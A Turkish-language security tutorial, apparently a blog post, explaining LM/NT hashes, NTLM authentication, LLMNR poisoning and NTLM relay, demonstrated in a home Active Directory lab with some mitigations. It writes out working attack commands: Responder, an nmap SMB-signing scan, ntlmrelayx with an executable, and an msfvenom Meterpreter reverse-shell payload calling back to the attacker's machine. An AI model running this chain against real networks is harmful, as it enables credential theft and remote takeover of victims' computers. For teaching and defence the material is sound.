LLMNR Poisoning, NTLM Relay ve Daha Fazlası

Bu yazıda, windows sistemlerde kullanılan hash tipleri nelerdir, LLMNR protokolü nedir, nasıl çalışır, ne zaman kullanılır ve nasıl sömürülür gibi konulara değinilirken, LLMNR ile başlayan ve NTLM Relay ile devam eden bir dizi zafiyet sömürüsünün detayları açıklanmaya çalışılmıştır.

Bazı zafiyetleri tespit etmek ve sömürmek için öncelikle bilmemiz gereken algoritmalar/yapılar olabilir. Dolayısıyla başlıklar halinde önceden bilinmesi gerekenleri anlatarak ne olup bittiğini anlamak faydalı olacaktır. Bu konulara hakimsek ön bilgiler kısmı atlanılabilir.

Genel içerik:

  • Ön bilgiler
  • Windows domain yapılarında authenticaton mekanizması nasıl çalışır?
  • LLMNR nedir?
  • LLMNR Poisoning nedir?
  • NTLM Relay Nedir?

Windows domain yapılarında NTLM authenticaton mekanizması nasıl çalışır?

İşletim sistemlerinde genellikle parola bilgileri clear-text/açık metin olarak saklanmaz. Bazı algoritmalar kulanılarak hash haline getirilen bilgi saklanır. “LM” ve “NT” windows sistemlerde saklanan parolaların hash algoritmalarını ve aynı zamanda kimlik doğrulama ( authentication) sistemini belirtir.

LM: “Lan Manager”, eski windows sistemlerinin ( 2000,xp,vista,7) kullandığı authentication sistemlerinden birisidir. LM hash ise bu authentication sisteminde kullanılan hash bilgisidir. LM hash oluşturulurken kullanılan algoritma zayıf bir algoritmadır, bazı durumlarda kırılması ve geri döndürülmesi kolay olabilir. Algoritma aşağıdaki adımlardan oluşur:

Kullanıcı parolası 14 karakter uzunluğu ile sınırlıdır.

Kullanıcı parolasının tüm harfleri büyük harflere çevrilir ve OEM Codepage ile encode edilir.

Parola uzunluğu 14 karaktere tamamlanacak şekilde geri kalan null karakter ile doldurulur.

14 karakterlik parola eşit iki parçaya bölünür ki bu iki parça sonrasında iki farklı DES encyption key olarak kullanılır.

Elde edilen iki farklı 7 byte lık bilgi ile “KGS!@#$%” sabiti DES encryption yöntemi ile şifrelenir. Her iki parçanın bu sabiti şifrelemesi ile 8 er bytelık iki veri ortaya çıkar.

Bu iki parçanın birleşiminden elde edilen 16 bytelık verinin hex hali bize LM hash bilgisini verir

Bu işlemi python üzerinden passlib.hash kütüphanesi ile kolayca yapabiliriz. Bu kütüphane kullanılarak elimizde var olan bir wordlist ile kolayca lm hash bruteforce aracı geliştirebiliriz. Örnek kullanım:

from passlib.hash import lmhash# Parola bilgisinin LM hash inin alınması
h = lmhash.hash(“password”)
print(h)
# OUTPUT: ‘3fc12f1f837f0efed75867ec1c8d6c08’
# LM hash’i ile parolanın kendisinin doğrulanması
print(lmhash.verify(“password”, h))
# OUTPUT: True
# Yanlış parola ile LM hash’inin doğrulanması
print(lmhash.verify(“secret”, h))
# OUTPUT: False

Kod kaynağı için tıklayınız.

NT: “”NT Lan Manager”, windows NT işletim sistemi ile birlikte gelen authentication sistemidir. Bu sistemle birlikte parola hash algoritması daha güvenli hale getirilmiştir. Bu hash bilgisini NT hash olarak belirtebiliriz. (Burada NT Hash olarak bahsedilen hash bilgisi birçok kaynakta NTLM hash olarak geçebilir. NTLM v1 ve v2 authentication protokolü ile karışmaması için bu şekilde ifade etmeyi tercih ettim. )
Bu hash bilgileri windows üzerinde SAM dosyasında ve Domain Controller da NTDS.dit dosyası üzerinde tutulur. (Pass the hash saldırılarında bu hash bilgisi kullanılır.)

NT hash algoritması LM’ye göre daha güvenli ve UTF-16-LE encoding tekniği ile MD4 hash algoritması kullanarak oluşturuluyor.MD4 sonrasında yine hex formatına dönüştürülerek NT Hash bilgisi haline geliyor.

Python üzerinde test edebileceğimiz ve bruteforce atakları geliştirebileceğimiz araçlar için aşağıdaki örnekten faydalanılabilir.

from passlib.hash import nthash# Parola bilgisinin NT hash inin alınması
h = nthash.hash(“password”)
print(h)
# OUTPUT: ‘8846f7eaee8fb117ad06bdd830b7586c’
# NT hash’i ile parolanın kendisinin doğrulanması
print(nthash.verify(“password”, h))
# OUTPUT: True
# Yanlış parola ile NT hash’inin doğrulanması
print(nthash.verify(“secret”, h))
# OUTPUT: False

Kod Kaynağı için tıklayınız.

LM yapısı günümüzde pek kullanılmasa da LM hash bilgisi yine SAM dosyalarında eskiye yönelik uyumluluk için tutuluyor. Bu durumda SAM dosyası içeriğine baktığımızda:

user:1001:aad3b435b51405eeaad3b435b51404ee:31d6cfe0d15ae931b73c59d7e0c089c0:::

formatında bir yapı ile karşılaşırız. Sırası ile kullanıcı adı, kullanıcı idsi, LM hash bilgisi ve NT hash bilgisi aralarında iki nokta ile birleştirilmiş.

Windows sistemlerde birden fazla kimlik doğrulama metodları mevcut;

Kerberos
NT Lan Manager (NTLM) *
Certificate
Smartcard
Biometrics

Bizim bu yazıda odaklandığımız kimlik doğrulama metodu NTLM (NT Lan Manager. NTLM v1 ve v2 olmak üzere iki farklı versiyonla karşımıza çıkabilir. Bu iki versiyonun farklarından bahsedeceğiz. Öncelikle NTLM nasıl çalışır bunu anlamakta fayda var.
NTLM authentication
algoritması aşağıdaki şekilde resmedebiliriz:

NTLM Authentication Algoritması

Kısaca özet geçmek gerekirse;

  1. Kullanıcı bağlanmak istediği sunucuya/bilgisayara bağlanmak istediğini belirten bir istekte bulunur.
  2. Sunucu bu isteğe karşı o anda üretilen 16 byte lık bir token ile cevap verir ve kendi hash bilgisi ile (konfigürasyona göre değişir LM veya NT hash) bu tokenı DES ile şirelemesi istenir.
  3. Sonrasında kullanıcı bu işlemleri yaparak oluşturduğu NTLM hash bilgisini (aynı zamanda netNTLMv1 veya netNTLMv2 hash olarak da adlandırılan) ve kullanıcı adını iletir.
  4. Sunucu, kullanıcının gönderdiği NTLMv1 veya v2 hash bilgisini, başlangıçta gönderilen token bilgisini ve kullanıcı adını DC sunucusuna doğrulaması için iletir.
  5. Domain Controller, NTDS dosyasında her kullacının hash bilgisini elinde tuttuğu için aynı process i kolaylıkla uygulayarak karşılaştırır. Bunun sonucunda kullanıcıya izin verilir.

NTLM protokolünün (yukarda algoritması verilen protokol) nasıl çalıştığını yukarda resmettik ve iki farklı versiyonu olduğunu belirttik. Peki bunların farkları nelerdir;

NTLMv1 de sunucu tarafından oluşturulan ve gelen token bilgisi ile şifreleme yapılırken NTLMv2 de time stamp , kullanıcı adı ve bağlanmak istenilen hedef kullanıcı adı ve token bilgisi ile kullanıcı hash i şifrelenir. Ayrıca şireleme için DES ile yerine HMAC-MD5 algoritması kullanılır.

Link-Local Multicast Name Resolution aynı yerel ağda dns çözümlemesi gerçekleştirilmesine izin veren bir prokoldür. İsmi biraz farklı olsa da, lokal ağda DNS gibi isim çözümlemeye, verilen isme göre bize ip adresi sunmaya yarar. Peki ne zaman çalışır? DNS kullanılmıyor mu? Windows sistemlerde isim çözümlemesi aşağıdaki adımlar uygulanarak gerçekleşir;

Aranılan domain/isim ilk olarak lokal bilgisayardaki Host dosyasında aranır. Başarısız olursa;
Yerel dns önbelleğine bakar. Başarısız olursa;
DNS sorgusu yollar. Başarısız olursa;
LLMNR sorgusu yollar.Başarısız olursa;
NetBIOS-NS sorgusu yollar.

4. adımda gelen LLMNR sorgusu multicast bir yayın yapar. Dolasıyla artık direkt dns e değil ağdaki diğer arkadaşlarına bu isteği göndererek ben bu bu adrese bağlanmak istiyorum, bilen eden bu adrese sahip olan var mı diye LLMNR sorgusu gönderir.. Bizim ilgilendiğimiz noktada işte tam burası burası.

Saldırgan kullanıcıdan gelen llmnr isteğini gördüğü anda “senin aradığın kişi benim, sen bana bağlanmak istiyorsun” diyerek kurban bilgisayarın kendisine bağlanma isteği bulunmasını sağlar. Bu durumda yukarda anlatılan NTLM algoritma işleyişine göre kurbanın NTLMv1 veya V2 hangi protokol kullanımdaysa onun hash bilgisi elde edilir.
Bu hash bilgisi ile ne yapabiliriz peki? Bu hash bilgisini bruteforce tekniği ile kırmaya çalışabiliriz. Parola basit bir parola ise kırılması olası. Ancak uzun veya karmaşık bir parolayı kırmak, pratik olarak normal şartlarda mümkün olmayabilir. (İyi bir donanımla günler haftalar sürebilir.) Dolayısıyla bu hash bilgisini elde etmek bazı durumlarda tek başına bir şey ifade etmeyebilir.

LLMNR Poisoning Algoritması

Yukarıda örnek bir LLMNR Poisoning senaryosu resmedilmiştir. Dinleme yapan saldırgan kali vb. linux sunucusu üzerinden smb,http yayını yaparak bu sorulara cevap verir. Bu durumda yaygın olarak kullanılan Responder.py aracını kullanabilir.

Bu saldırıyı lab ortamında 1 DC , 2 domaine bağlı kullanıcı ve aynı network e dahil olan bir kali ile test edelim.
LAB Ortamı Bilgileri
DC 192.168.1.107 -
User1:fcastle:192.168.1.108
User2:pparker:192.168.1.109
Kali:192.168.1.106

  1. Saldırganın Responder aracını ayağa kaldırarak network ü dinlemeye başlaması
    1.1 Responder.conf üzerinden smb ve http seçeneklerinin “On” olması gerekir. Bu durumda responder ile çalışan smb sunucusu çalışabilir ve isteklere cevap verebilir.
    1.2 Reponder.py -I <interface> parametresi verilerek çalıştırılması.
Responder dinlemede

2. Aynı networkteki bir abimiz erişmek istediği bilgisayarın adını yanlış yazması.

Kali tarafından LLMNR poisoning yapılan kurban, kemal.local’e bağlandığını sanıyor.

3. Kali makinenin NTLMv2 hash bilgisini elde etmesi.

Başından beri dinleyen ve LLMNR Poisoning yaparak kullanıcı hash bilgisini ele geçiren saldırgan.
  • LLMNR ve NBT-NS protokollerini disabled konumuna getirilebilir. NBT-NS de dahil çünkü yukarıda hatırlarsanız DNS adımlarında LLMNR den sonra NBT-NS geliyor ve aynı algoritma ile zehirleme yapılabiliyor.
  • Sistemlere kısıtlı yetkilere sahip kullanıcılar ile giriş yapmaya eğilimli olmak faydalı olacaktır. Bir domain admin hesap bilgilerinin ifşa olması ile standart kullanıcının ifşa olması arasında zafiyet seviyeleri anlamında farklılık gösterir.
  • Uzun ve karmaşık parola kullanımı bu saldırıda elde edilen bilgileri işlevsiz kılabilir.

Windows authentication ve LLMNR/LLMNR Poisoning nedir, nasıl çalışır gibi konularda aklımızda soru işaretleri yoksa NTLM Relay konusuna geçebiliriz.

NTLM Relay saldırısı, saldırgan bağlanmak istediği sunucuya/bilgisayara bağlanırken, LLMNR zehirlemesinden yararlanmak suretiyle LLMNR poisoning yaptığı kullanıcının bilgilerini kullanması, bir nevi man in the middle tekniği kullanmasıdır. Bu saldırıyı resmetmek, anlamak açısından bize yardımcı olabilir.

Yukarıda 0–12 maddeler arasında NTLM relay nasıl gerçekleşir ve nasıl hedef sunucu/bilgisayar üzerinde yetki sahibi olunur anlatılmaya çalışıldı. Kısaca özetlemek gerekirse:

3. adım dahil daha öncesi LLMNR Relay örneğinde anlatıldı. 4. aşamada saldırgan responder aracı ile “sana bağlanmak istiyorum” isteğine cevap vermeden koltuğu ntlmrelayx aracına bırakıyor.
ntlmrelayx aracı, kullanıcıdan gelen bağlantı talebini kopyalarak/relay ederek bağlanmak istediği bir sunucuya iletiyor. Sonrasında bağlanmak istediği sunucu NTLM authentication doğası gereği bir token vererek DC ye onaylatmak üzere encrypt etmesini istiyor. Saldırgan bu isteği de relay ederek kurban bilgisayara kendisiymiş gibi gönderiyor. Bu durumda dünyadan haber olmayan kurban bilgisayar bu isteğin kema.local bilgisayarından onu authenticate etmek için bu token ı yolladığını sanıyor. Halbuki saldırgan onun credential ını kullanarak başka bir sunucuya authenticate olmaya çalışıyor. Bu durumda tüm bilgileri doğru ileten saldırgan sunucuya erişim sağlayabiliyor.

SMB/NTLM relay için olması gereken şartlar?
1. kurban bilgisayarda SMB signing kapalı veya “not required” (gerekli değil) durumunda olmalı.
2. Relay ettiğimiz kullanıcının, bağlanmak istediğimiz sunucuda yetkili olması.

SMB signing SMB protokolünde gönderen kişinin paketi kendi imzası ile imzalayarak göndermesini ifade eder. Yukarıda bahsedilen NTLM relay gibi man in the middle saldırılarını engellemek için geliştirilmiş bir güvenlik mekanizmasıdır.

Relay ettiğimiz kullanıcı da normal olarak bağlanmak istediğimiz sunucuda yetklili olmalı ki bağlantı sağlayabilsin ve komut çalıştırma vb işlemler için izni olsun.

Kullanıcılar üzerinde SMB signing özelliğini nmap aracının “smb2-security-mode” script i ile test edebiliriz. Bu durumda relay edebileceğimiz hedefleri filtrelemiş oluruz. Daha sonrasında filtrelenmiş hedefler üzerinden saldırı denemeleri yapabiliriz.

AD Lab Ortamı
Kali:192.168.1.106
DC : 192.168.1.107
User:
fcastle:192.168.1.108
User:
pparker:192.168.1.109

  • pparker kullanıcısının bilgisayarına baktığımızda fcastle kullanıcısınında bu bilgisayarda administrator yetkisine sahip olduğunu varsayalım. Yani burada demek istediğimiz fcastle kullanıcısı pparker kullanıcısında yetkili bir abimiz.
  • Bu örnekte fcastle kullanıcısına LLMNR Poisoning ile zehirleme yaptıktan sonra ntlmrelayx yaparak ppkarker’ın kullandığı bilgisayarda erişim elde etmeye çalışacağız.
  • nmap -sSV -p 445 — script smb2-security-mode 192.168.1.0/24 komutu ile networkteki smb signing olmayanları veya “not required” olanları target.txt listemize atabiliriz.
SMB Signing not reqired
  • Daha sonra responder’ı çalıştırarak bu zincirleme saldırıya başlayabiliriz. Ancak responder.conf üzerinden smb ve http seçeneğini Off konumuna getirmeyi unutmayalım. Çünkü responder artık yalnızca zehirleme işini yapacak ve geri kalan relay işini ntlmrelayx aracı SMB sunucusu kullanarak sağlayacak.
  • responder -I eth0 -rwd
  • ntlmrelayx.py -tf ntlmtartgets.txt -smb2support
Kullanıcının yanlışlıkla var olmayan bir ismi girmesi
Responder ile birlikte ntlmrelayx aracının man in the middle olarak hedefe erişim sağlaması

Burada ntlmrelayx ‘e -i parameteresi verilerek interactive erişim sağlanabilir. İstenirse -e parametresi ile çalıştırılması istenen bir exe çalıştırılması istenerek reverse/bind shell alınabilir.

  • O halde -e parametresi ile test senaryosunuu tekrar edelim:
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -f exe > shell.exe
  • msfconsole > use/multi/handler > set options > run
  • responder -I eth0 -rwd
  • ntlmrelayx.py -tf ntlmtartgets.txt -smb2support -e shell.exe
NTLM Relay ile domain üzerindeki bilgisayarda meterpreter session almak.

Domain lab ortamı referanslarda belirttiğim Heath Adams’ın (The Cyber Mentor) youtube kanalı takip edilerek oluşturuldu. Dolayısıyla makine isimleri ve kullanıcı isimleri direkt olarak oradan alındı. Bu abimiz marvel hayranı olduğu için domain adı ve kullanıcı isimleri onlarla ilişkili.

Kullanılan AD lab ortamı

Ekstra:

Kullanılan scriptler için impacket 0.9.19 versiyonu kullanılması sağlıklı olabilir. En yeni versiyonda ntlm relay saldırısında başarılı olunamayabilir.
Impacket 0.9.19

Cyber Security Researcher